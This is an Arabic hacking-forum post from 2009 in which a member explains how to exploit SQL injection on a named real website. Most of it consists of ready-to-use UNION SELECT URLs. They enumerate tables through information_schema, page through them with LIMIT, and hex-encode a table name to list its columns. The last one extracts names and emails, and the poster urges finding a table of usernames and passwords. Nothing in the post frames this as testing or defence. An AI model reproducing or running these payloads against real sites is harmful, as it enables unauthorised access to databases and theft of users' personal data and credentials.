عرض مشاركة واحدة
قديم 12-01-2009, 11:26 PM   رقم المشاركة : 5 (permalink)
معلومات العضو
MrXRoMaNcE1
VBSPIDERS TEAM
 
الصورة الرمزية MrXRoMaNcE1
 

 

 
إحصائية العضو






MrXRoMaNcE1 غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
MrXRoMaNcE1 is on a distinguished road

افتراضي


حل مشكلة بسيطة للغايه

انك تتنقل بين جداول شوف معي هذا استغلال

كود PHP:
http://www.ac-psych.org/index.php?id=-1+union+select+table_name+from+information_schema.tables-- 
الان نستعمل limit

كود PHP:
http://www.ac-psych.org/index.php?id=-1+union+select+table_name+from+information_schema.tables+limit+23,1-- 
مشكلة في جداول كتير ابحث وبتلاقي جدول يوزرات وباسوردات اذا ما وجدته خبرني ان شاء الله ببحث عنه

طبعا متلا بعد ما وجدت جدول تروح موقع waraxe.us

وتشفر اسم جدول وتبحث عن معلومات بداخله

مثل هكذا

كود PHP:
http://www.ac-psych.org/index.php?id=-1+union+select+concat(table_name,0x3a,column_name,0x3a,table_schema)+from+information_schema.columns+where+table_name=0x75706c6f616466696c655f74657374-- 
وتستخرج معلومات وهي بعض معلومات

كود PHP:
http://www.ac-psych.org/index.php?id=-1+union+select+concat%28name,0x3a,email%29+from+uploadfile_test%20-- 
اتمنى وصلتك فكرة
التوقيع

 


التعديل الأخير تم بواسطة MrXRoMaNcE1 ; 12-01-2009 الساعة 11:29 PM.

   

رد مع اقتباس